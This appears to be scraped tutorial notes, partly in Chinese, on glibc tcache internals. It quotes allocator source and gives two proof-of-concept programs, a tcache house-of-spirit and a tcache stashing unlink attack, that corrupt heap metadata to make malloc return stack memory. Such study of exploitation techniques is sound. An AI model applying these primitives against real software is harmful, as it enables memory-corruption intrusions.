/* We overlay this structure on the user-data portion of a chunk when the chunk is stored in the per-thread cache. */ # define TCACHE_MAX_BINS64 typedef struct tcache_entry { struct tcache_entry *next; /* This field exists to detect double frees. */ struct tcache_perthread_struct *key; } tcache_entry; /* There is one of these for each thread, which contains the per-thread cache (hence "tcache_perthread_struct"). Keeping overall size low is mildly important. Note that COUNTS and ENTRIES are redundant (we could have just counted the linked list each time), this is for performance reasons. */ typedef struct tcache_perthread_struct { char counts[TCACHE_MAX_BINS]; tcache_entry *entries[TCACHE_MAX_BINS]; } tcache_perthread_struct;
/* This is another arbitrary limit, which tunables can change. Each tcache bin will hold at most this number of chunks. */ # define TCACHE_FILL_COUNT 7
在循环处理 unsorted bin 内存块时,如果达到放入 unsorted bin 块最大数量,会立即返回。不过默认是 0,即不存在上限
1 2 3 4 5 6 7 8 9 10 11
#if USE_TCACHE /* If we've processed as many chunks as we're allowed while filling the cache, return one of the cached ones. */ ++tcache_unsorted_count; if (return_cached && mp_.tcache_unsorted_limit > 0 && tcache_unsorted_count > mp_.tcache_unsorted_limit) { return tcache_get (tc_idx); } #endif
int main() { setbuf(stdout, NULL); malloc(1); unsigned long long *a; //pointer that will be overwritten unsigned long long fake_chunks[10]; //fake chunk region fake_chunks[1] = 0x40; // this is the size a = &fake_chunks[2]; free(a); void *b = malloc(0x30); assert((long)b == (long)&fake_chunks[2]); }
int main(){ unsigned long stack_var[0x10] = {0}; unsigned long *chunk_lis[0x10] = {0}; unsigned long *target;
setbuf(stdout, NULL);
stack_var[3] = (unsigned long)(&stack_var[2]);
//now we malloc 9 chunks for(int i = 0;i < 9;i++){ chunk_lis[i] = (unsigned long*)malloc(0x90); }
//put 7 chunks into tcache for(int i = 3;i < 9;i++){ free(chunk_lis[i]); } //last tcache bin free(chunk_lis[1]);
//now they are put into unsorted bin free(chunk_lis[0]); free(chunk_lis[2]); //convert into small bin unsigned long *a=malloc(0xa0);// size > 0x90 //now 5 tcache bins unsigned long *b=malloc(0x90); unsigned long *c=malloc(0x90); //change victim->bck /*VULNERABILITY*/ chunk_lis[2][1] = (unsigned long)stack_var; /*VULNERABILITY*/ //trigger the attack unsigned long *d=calloc(1,0x90); //malloc and return our fake chunk on stack target = malloc(0x90); assert(target == &stack_var[2]); return 0; }